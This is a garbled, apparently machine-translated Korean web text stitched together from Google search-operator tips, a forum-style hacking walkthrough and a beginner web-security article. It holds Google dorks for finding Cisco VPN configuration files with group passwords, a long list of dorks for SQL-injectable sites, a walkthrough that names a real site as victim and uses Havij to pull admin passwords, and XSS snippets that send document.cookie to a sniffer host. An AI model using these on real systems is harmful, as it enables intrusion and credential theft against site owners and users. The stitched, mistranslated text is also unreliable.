    주소 표시줄의 모양을 보면 &tbs=qdr: 구성을 사용하여 결과 출력을 제한하는 방법만 추측할 수 있습니다. 1년 제한을 설정한 뒤의 문자 y(&tbs=qdr:y), m은 지난 달의 결과를 표시합니다. w - 이번 주, d - 지난 날, h - 지난 시간, n - 잠시 동안, 그리고 s - 잠시만 기다려주세요. Google이 방금 공개한 가장 최근 결과는 &tbs=qdr:1 필터를 사용하여 찾을 수 있습니다.

    영리한 스크립트를 작성해야 하는 경우 날짜 범위 연산자를 사용하여 Google에서 날짜 범위가 율리우스 형식으로 설정되어 있다는 것을 아는 것이 유용할 것입니다. 예를 들어, 2015년 1월 1일부터 7월 1일까지 다운로드된 기밀 단어가 포함된 PDF 문서 목록을 찾는 방법입니다.

    기밀 파일 형식:pdf 날짜 범위:2457024-2457205

    범위는 분수 부분을 고려하지 않고 율리우스력 날짜 형식으로 표시됩니다. 그레고리력에서 수동으로 번역하는 것은 불편합니다. 날짜 변환기를 사용하는 것이 더 쉽습니다.

    다시 타겟팅 및 필터링

    검색 쿼리에 추가 연산자를 지정하는 것 외에도 링크 본문에서 직접 보낼 수 있습니다. 예를 들어, filetype:pdf 사양은 as_filetype=pdf 구성에 해당합니다. 이렇게 하면 설명을 묻는 것이 편리해집니다. 검색 URL에 cr=countryHN 구문을 추가하여 온두라스 공화국의 결과 출력만 지정하고 Bobruisk 시(gcs=Bobruisk)에서만 결과 출력을 지정한다고 가정해 보겠습니다. 개발자 섹션에서 전체 목록을 찾을 수 있습니다.

    Google의 자동화 도구는 삶을 더 쉽게 만들도록 설계되었지만 종종 문제를 추가합니다. 예를 들어, 사용자의 IP는 WHOIS를 통해 도시를 결정하는 데 사용됩니다. 이 정보를 바탕으로 Google은 서버 간의 부하 균형을 조정할 뿐만 아니라 검색 결과도 변경합니다. 지역에 따라 동일한 요청에 대해 첫 번째 페이지에 다른 결과가 나타나며 일부는 완전히 숨겨질 수 있습니다. gl=country 지시문 뒤의 두 글자 코드는 국제적인 느낌을 주고 모든 국가의 정보를 찾는 데 도움이 됩니다. 예를 들어 네덜란드의 코드는 NL인데, 바티칸과 북한은 구글에 자체 코드가 없습니다.

    여러 고급 필터를 사용한 후에도 검색 결과가 복잡해지는 경우가 많습니다. 이 경우 여러 예외 단어를 추가하여 요청을 명확하게 하는 것이 쉽습니다(각 예외 단어 앞에 빼기 기호가 표시됨). 예를 들어, 뱅킹, 이름, 튜토리얼 등은 개인이라는 단어와 함께 사용되는 경우가 많습니다. 따라서 더 깔끔한 검색 결과는 교과서적인 쿼리 예시가 아닌 정제된 예시로 표시됩니다.

    제목:"/개인/색인" -names -tutorial -banking

    마지막 예

    정교한 해커는 필요한 모든 것을 스스로 제공한다는 점에서 구별됩니다. 예를 들어, VPN은 편리하지만 비용이 많이 들거나 일시적이고 제한이 있습니다. 자신을 위해 구독을 신청하는 것은 비용이 너무 많이 듭니다. 그룹 구독이 있다는 점은 좋은데, Google의 도움으로 그룹에 쉽게 가입할 수 있습니다. 이렇게 하려면 표준이 아닌 PCF 확장자와 인식 가능한 경로(Program Files\Cisco Systems\VPN Client\Profiles)가 있는 Cisco VPN 구성 파일을 찾으십시오. 예를 들어, 한 번의 요청으로 본 대학교의 친절한 팀에 합류하게 됩니다.

    파일 유형:pcf vpn OR 그룹

    INFO Google은 비밀번호가 포함된 구성 파일을 찾지만, 그 중 상당수가 암호화된 형식으로 작성되거나 해시로 대체되어 있습니다. 고정 길이의 문자열이 보이면 즉시 암호 해독 서비스를 찾으십시오.

    비밀번호는 암호화되어 저장되지만 Maurice Massard는 이미 비밀번호를 해독하는 프로그램을 작성하여 thecampusgeeks.com을 통해 무료로 제공하고 있습니다.

    Google은 수백 가지의 다양한 유형의 공격과 침투 테스트를 실행합니다. 인기 있는 프로그램, 주요 데이터베이스 형식, PHP의 수많은 취약점, 클라우드 등에 영향을 미치는 다양한 옵션이 있습니다. 찾고 있는 것이 무엇인지 정확히 알면 필요한 정보(특히 공개할 의도가 없었던 정보)를 훨씬 쉽게 찾을 수 있습니다. Shodan은 흥미로운 아이디어를 제공하는 유일한 제품이 아니라 인덱싱된 네트워크 리소스의 모든 데이터베이스입니다!

    그럼 이제 특별한 지식 없이도 해킹하는 방법을 알려드리겠습니다. 나는 이것으로부터 이점이 거의 없다고 즉시 말할 것입니다. 그러나 여전히.
    먼저 사이트 자체를 찾아야 합니다. 이렇게 하려면 google.com으로 이동하여 dorks를 검색하세요.

    Inurl:pageid= inurl:games.php?id= inurl:page.php?file= inurl:newsDetail.php?id= inurl:gallery.php?id= inurl:article.php?id= inurl:show.php? id= inurl:staff_id= inurl:newsitem.php?num= inurl:readnews.php?id= inurl:top10.php?cat= inurl:historialeer.php?num= inurl:reagir.php?num= inurl:Stray- 질문-View.php?num= inurl:forum_bds.php?num= inurl:game.php?id= inurl:view_product.php?id= inurl:newsone.php?id= inurl:sw_comment.php?id= inurl: news.php?id= inurl:avd_start.php?avd= inurl:event.php?id= inurl:product-item.php?id= inurl:sql.php?id= inurl:news_view.php?id= inurl: select_biblio.php?id= inurl:humor.php?id= inurl:aboutbook.php?id= inurl:ogl_inet.php?ogl_id= inurl:fiche_spectacle.php?id= inurl:communique_detail.php?id= inurl:sem. php3?id= inurl:kategorie.php4?id= inurl:news.php?id= inurl:index.php?id= inurl:faq2.php?id= inurl:show_an.php?id= inurl:preview.php? id= inurl:loadpsb.php?id= inurl:opinions.php?id= inurl:spr.php?id= inurl:pages.php?id= inurl:announce.php?id= inurl:clanek.php4?id= inurl:participant.php?id= inurl:download.php?id= inurl:main.php?id= inurl:review.php?id= inurl:chappies.php?id= inurl:read.php?id= inurl: prod_detail.php?id= inurl:viewphoto.php?id= inurl:article.php?id= inurl:person.php?id= inurl:productinfo.php?id= inurl:showimg.php?id= inurl:view. php?id= inurl:website.php?id= inurl:hosting_info.php?id= inurl:gallery.php?id= inurl:rub.php?idr= inurl:view_faq.php?id= inurl:artikelinfo.php? id= inurl:detail.php?ID= inurl:index.php?= inurl:profile_view.php?id= inurl:category.php?id= inurl:publications.php?id= inurl:fellows.php?id= inurl :downloads_info.php?id= inurl:prod_info.php?id= inurl:shop.php?do=part&id= inurl:productinfo.php?id= inurl:collectionitem.php?id= inurl:band_info.php?id= inurl :product.php?id= inurl:releases.php?id= inurl:ray.php?id= inurl:produit.php?id= inurl:pop.php?id= inurl:shopping.php?id= inurl:productdetail .php?id= inurl:post.php?id= inurl:viewshowdetail.php?id= inurl:clubpage.php?id= inurl:memberInfo.php?id= inurl:section.php?id= inurl:theme.php ?id= inurl:page.php?id= inurl:shredder-categories.php?id= inurl:tradeCategory.php?id= inurl:product_ranges_view.php?ID= inurl:shop_category.php?id= inurl:transcript.php ?id= inurl:channel_id= inurl:item_id= inurl:newsid= inurl:trainers.php?id= inurl:news-full.php?id= inurl:news_display.php?getid= inurl:index2.php?option= inurl :readnews.php?id= inurl:top10.php?cat= inurl:newsone.php?id= inurl:event.php?id= inurl:product-item.php?id= inurl:sql.php?id= inurl :aboutbook.php?id= inurl:preview.php?id= inurl:loadpsb.php?id= inurl:pages.php?id= inurl:material.php?id= inurl:clanek.php4?id= inurl:announce .php?id= inurl:chappies.php?id= inurl:read.php?id= inurl:viewapp.php?id= inurl:viewphoto.php?id= inurl:rub.php?idr= inurl:galeri_info.php ?l= inurl:review.php?id= inurl:iniziativa.php?in= inurl:curriculum.php?id= inurl:labels.php?id= inurl:story.php?id= inurl:look.php? ID= inurl:newsone.php?id= inurl:aboutbook.php?id= inurl:material.php?id= inurl:opinions.php?id= inurl:announce.php?id= inurl:rub.php?idr= inurl:galeri_info.php?l= inurl:tekst.php?idt= inurl:newscat.php?id= inurl:newsticker_info.php?idn= inurl:rubrika.php?idr= inurl:rubp.php?idr= inurl: Offer.php?idf= inurl:art.php?idm= inurl:title.php?id= inurl:".php?id=1" inurl:".php?cat=1" inurl:".php?catid= 1" inurl:".php?num=1" inurl:".php?bid=1" inurl:".php?pid=1" inurl:".php?nid=1"

    여기에 작은 목록이 있습니다. 당신은 당신을 사용할 수 있습니다. 그래서 우리는 사이트를 찾았습니다. 예를 들어 http://www.vestitamvov.ru/
    다음으로 이 프로그램을 다운로드하세요.

    **숨겨진 콘텐츠: 이 숨겨진 콘텐츠를 보려면 게시물 수가 3개 이상이어야 합니다.**

    확인을 클릭하세요. 그런 다음 피해 사이트를 삽입합니다.
    시작을 누릅니다. 다음으로 결과를 기다립니다.
    그래서 프로그램은 SQL 취약점을 발견했습니다.

    다음으로 Havij를 다운로드하고 http://www.vestitambov.ru:80/index.php?module=group_programs&id_gp= 받은 링크를 거기에 붙여넣으세요. Havij 사용 방법과 다운로드 위치는 별도로 설명하지 않겠습니다. 모두. 필요한 데이터(관리자 비밀번호)를 받았는데, 그 다음은 여러분의 상상에 달려 있습니다.

    추신 이것은 제가 처음으로 글을 쓰려는 시도입니다. 뭔가 문제가 있다면 죄송합니다

    나는 정보 보안에 대해 조금 이야기하기로 결정했습니다. 이 기사는 초보 프로그래머와 이제 막 프론트엔드 개발에 참여하기 시작한 사람들에게 유용할 것입니다. 문제는 무엇입니까?

    많은 초보 개발자는 코드 작성에 너무 열중하여 작업 보안을 완전히 잊어버립니다. 그리고 가장 중요한 것은 SQL 및 XXS 쿼리와 같은 취약점을 잊어버린다는 것입니다. 그들은 또한 관리 패널에 대한 쉬운 비밀번호를 제시하고 무차별 대입 공격을 받습니다. 이러한 공격은 무엇이며 어떻게 피할 수 있습니까?

    SQL 주입

    SQL 주입은 특정 DBMS에 대한 SQL 쿼리 중에 수행되는 데이터베이스에 대한 가장 일반적인 공격 유형입니다. 많은 사람들과 심지어 대기업도 이러한 공격으로 고통받고 있습니다. 그 이유는 데이터베이스 및 엄밀히 말하면 SQL 쿼리를 작성할 때 개발자 오류 때문입니다.

    SQL 쿼리에 사용된 입력 데이터의 잘못된 처리로 인해 SQL 주입 공격이 가능합니다. 해커의 공격이 성공하면 데이터베이스 내용뿐만 아니라 비밀번호 및 관리 패널 로그도 손실될 위험이 있습니다. 그리고 이 데이터는 사이트를 완전히 장악하거나 사이트를 되돌릴 수 없게 조정하는 데 충분합니다.

    공격은 PHP, ASP, Perl 및 기타 언어로 작성된 스크립트에서 성공적으로 재현될 수 있습니다. 이러한 공격의 성공 여부는 어떤 DBMS가 사용되는지, 스크립트 자체가 어떻게 구현되는지에 따라 달라집니다. 전 세계에는 SQL 인젝션에 취약한 사이트가 많이 있습니다. 이는 확인하기 쉽습니다. "dorks"만 입력하세요. 이는 취약한 사이트를 검색하기 위한 특수 쿼리입니다. 그 중 일부는 다음과 같습니다.

    • inurl:index.php?id=
    • inurl:trainers.php?id=
    • inurl:buy.php?category=
    • inurl:article.php?ID=
    • inurl:play_old.php?id=
    • inurl:declaration_more.php?decl_id=
    • inurl:페이지ID=
    • inurl:games.php?id=
    • inurl:page.php?file=
    • inurl:newsDetail.php?id=
    • inurl:gallery.php?id=
    • inurl:article.php?id=

    어떻게 사용하나요? Google 또는 Yandex 검색 엔진에 입력하기만 하면 됩니다. 검색 엔진은 취약한 사이트뿐만 아니라 이 취약성에 대한 페이지도 제공합니다. 하지만 우리는 거기서 멈추지 않고 페이지가 실제로 취약한지 확인합니다. 이렇게 하려면 값 "id=1" 뒤에 작은따옴표 "'를 넣는 것으로 충분합니다. 이 같은:

    • inurl:games.php?id=1'

    그리고 사이트는 SQL 쿼리에 대한 오류를 제공합니다. 해커에게 다음으로 필요한 것은 무엇입니까?

    그런 다음 그는 오류 페이지에 대한 바로 이 링크가 필요합니다. 그런 다음 대부분의 경우 취약점에 대한 작업은 주입 코드 도입 및 필요한 작업 수행과 같은 이 부분에 대한 유틸리티를 사용하여 "Kali linux" 배포판에서 수행됩니다. 어떻게 이런 일이 일어날지는 말씀드릴 수 없습니다. 그러나 이에 대한 정보는 인터넷에서 찾을 수 있습니다.

    XSS 공격

    이러한 유형의 공격은 쿠키 파일에 대해 수행됩니다. 사용자는 이를 저장하는 것을 좋아합니다. 왜 안 돼? 그들 없이 우리는 무엇을 할 것인가? 결국 쿠키 덕분에 Vk.com이나 Mail.ru의 비밀번호를 백 번 입력할 필요가 없습니다. 그리고 그것을 거부하는 사람은 거의 없습니다. 그러나 인터넷에서는 해커에게 규칙이 자주 나타납니다. 편의성 계수는 ​​불안 계수에 정비례합니다.

    XSS 공격을 구현하려면 해커가 JavaScript에 대한 지식이 필요합니다. 언뜻 보기에 이 언어는 컴퓨터 리소스에 접근할 수 없기 때문에 매우 단순하고 무해합니다. 해커는 브라우저에서 JavaScript로만 작업할 수 있지만 그것으로 충분합니다. 결국 가장 중요한 것은 웹페이지에 코드를 입력하는 것입니다.

    공격 과정에 대해서는 자세히 이야기하지 않겠습니다. 어떻게 이런 일이 일어나는지에 대한 기본과 의미만 말씀드리겠습니다.

    해커는 일부 포럼이나 방명록에 JS 코드를 추가할 수 있습니다.

    document.location.href =”http://192.168.1.7/sniff.php?test”

    스크립트는 코드가 실행될 감염된 페이지로 우리를 리디렉션합니다. 스니퍼, 일종의 저장소 또는 어떻게든 캐시에서 쿠키를 훔치는 익스플로잇 등이 있습니다.

    왜 자바스크립트인가? JavaScript는 웹 요청을 처리하는 데 능숙하고 쿠키에 액세스할 수 있기 때문입니다. 그러나 스크립트가 우리를 어떤 사이트로 이동시킨다면 사용자는 이를 쉽게 알아차릴 것입니다. 여기서 해커는 더 교활한 옵션을 사용합니다. 그는 단순히 그림에 코드를 입력합니다.

    Img=새 이미지();

    Img.src=”http://192.168.1.7/sniff.php?”+document.cookie;

    간단히 이미지를 생성하고 스크립트에 주소를 할당하면 됩니다.

    이 모든 것으로부터 자신을 보호하는 방법은 무엇입니까? 매우 간단합니다. 의심스러운 링크를 클릭하지 마세요.

    DoS 및 DDos 공격

    DoS(영어 서비스 거부에서 유래) - 서비스 거부)는 컴퓨터 시스템에 장애를 일으킬 목적으로 컴퓨터 시스템을 공격하는 해커의 공격입니다. 이는 선의의 시스템 사용자가 제공된 시스템 리소스(서버)에 액세스할 수 없거나 액세스가 어려운 조건을 만드는 것입니다. 긴급 상황에서 소프트웨어가 중요한 정보(예: 버전, 프로그램 코드의 일부 등)를 생성하는 경우 시스템 오류는 시스템 인수를 향한 단계일 수도 있습니다. 그러나 대부분의 경우 이는 경제적 압박의 척도입니다. 소득을 창출하는 간단한 서비스의 손실. 공급자의 청구서 또는 공격을 피하기 위한 조치는 주머니 속의 "표적"에 큰 타격을 입혔습니다. 현재 DoS 및 DDoS 공격은 법적으로 중요한 증거를 남기지 않고 거의 모든 시스템에 장애를 발생시킬 수 있기 때문에 가장 널리 사용됩니다.

    DoS와 DDos 공격의 차이점은 무엇입니까?

    DoS는 교묘하게 설계된 공격입니다. 예를 들어, 서버가 들어오는 패킷의 정확성을 확인하지 않으면 해커가 요청을 처리하는 데 시간이 오래 걸릴 수 있으며 다른 연결을 처리하는 데 프로세서 시간이 충분하지 않게 됩니다. 이에 따라 고객 서비스가 거부됩니다. 그러나 이런 방식으로 잘 알려진 대형 사이트를 과부하하거나 비활성화하는 것은 불가능합니다. 이러한 과부하에도 문제 없이 대처할 수 있는 상당히 넓은 채널과 초강력 서버로 무장하고 있습니다.

    DDoS는 실제로 DoS와 동일한 공격입니다. 그러나 DoS에 하나의 요청 패킷이 있는 경우 DDoS에는 수백 개 이상이 있을 수 있습니다. 아무리 강력한 서버라도 이러한 과부하에 대처하지 못할 수도 있습니다. 예를 들어 보겠습니다.

    DoS 공격은 누군가와 대화를 나누고 있는데 예의가 없는 사람이 다가와 큰 소리로 소리를 지르는 것을 말합니다. 말하기가 불가능하거나 매우 어렵습니다. 해결 방법: 보안요원에게 연락해 진정시키고 해당 사람을 현장에서 쫓아내십시오. DDoS 공격은 수천 명의 무례한 사람들이 몰려드는 것입니다. 이 경우 보안요원은 모든 사람을 묶어서 데려갈 수 없습니다.

    DoS와 DDoS는 소위 좀비라고 불리는 컴퓨터에서 수행됩니다. 이들은 자신의 컴퓨터가 서버에 대한 공격에 참여하고 있다고 의심하지 않는 해커에 의해 해킹된 사용자의 컴퓨터입니다.

    이것으로부터 자신을 보호하는 방법은 무엇입니까? 일반적으로 절대 그렇지 않습니다. 하지만 해커에게는 상황이 더 어려워질 수 있습니다. 이렇게 하려면 강력한 서버를 갖춘 좋은 호스팅을 선택해야 합니다.

    무차별 공격

    개발자는 다양한 공격 방지 시스템을 마련하고, 우리가 작성한 스크립트를 완전히 검토하고, 사이트에서 취약점을 확인하는 등의 작업을 할 수 있습니다. 그러나 웹사이트 레이아웃의 마지막 단계, 즉 단순히 관리자 패널의 비밀번호를 설정할 때 한 가지를 잊어버릴 수 있습니다. 비밀번호!

    간단한 비밀번호를 설정하는 것은 엄격히 권장되지 않습니다. 12345, 1114457, vasya111 등이 될 수 있습니다. 길이가 10-11자 미만인 비밀번호를 설정하지 않는 것이 좋습니다. 그렇지 않으면 가장 일반적이고 복잡하지 않은 공격인 무차별 대입 공격을 받을 수 있습니다.

    무차별 대입(Brute force)은 특수 프로그램을 이용한 사전 비밀번호 검색 공격이다. 사전은 다를 수 있습니다. 라틴어, 숫자로 열거(예: 특정 범위까지), 혼합(라틴어 + 숫자), 고유 문자가 포함된 사전도 있습니다 @#4$%&*~~`'”\ ? 등.

    물론, 이러한 유형의 공격은 피하기 쉽습니다. 복잡한 비밀번호만 알아내면 됩니다. 보안 문자라도 당신을 구할 수 있습니다. 또한 귀하의 사이트가 CMS에서 만들어진 경우 많은 사이트에서 이러한 유형의 공격을 감지하고 IP를 차단합니다. 비밀번호에 문자가 많을수록 추측하기가 더 어렵다는 점을 항상 기억해야 합니다.

    해커는 어떻게 작동하나요? 대부분의 경우 사전에 비밀번호의 일부를 의심하거나 알고 있습니다. 사용자의 비밀번호가 확실히 3~5자로 구성되지 않을 것이라고 가정하는 것은 매우 논리적입니다. 이러한 비밀번호는 빈번한 해킹으로 이어집니다. 기본적으로 해커는 5~10자의 범위를 취하고, 미리 알 수 있는 여러 문자를 추가합니다. 다음으로 필요한 범위의 비밀번호가 생성됩니다. Kali Linux 배포판에는 이러한 경우를 위한 프로그램도 있습니다. 그리고 짜잔, 사전의 양이 더 이상 그렇게 크지 않기 때문에 공격은 더 이상 오래 지속되지 않습니다. 게다가 해커는 비디오 카드의 힘을 이용할 수도 있다. 그 중 일부는 CUDA 시스템을 지원해 검색 속도가 10배나 빨라진다. 이제 우리는 이렇게 간단한 공격이 실제로 가능하다는 것을 알 수 있습니다. 그러나 무차별 공격의 대상이 되는 것은 웹사이트만이 아닙니다.

    친애하는 개발자 여러분, 정보 보안 시스템을 잊지 마세요. 오늘날 국가를 포함한 많은 사람들이 이러한 유형의 공격으로 고통 받고 있기 때문입니다. 결국, 가장 큰 취약성은 항상 어딘가에 주의가 산만해지거나 무언가를 놓칠 수 있는 사람입니다. 우리는 프로그래머이지만 프로그래밍된 기계는 아닙니다. 정보를 잃으면 심각한 결과를 초래할 수 있으므로 항상 경계하십시오!

    공유하다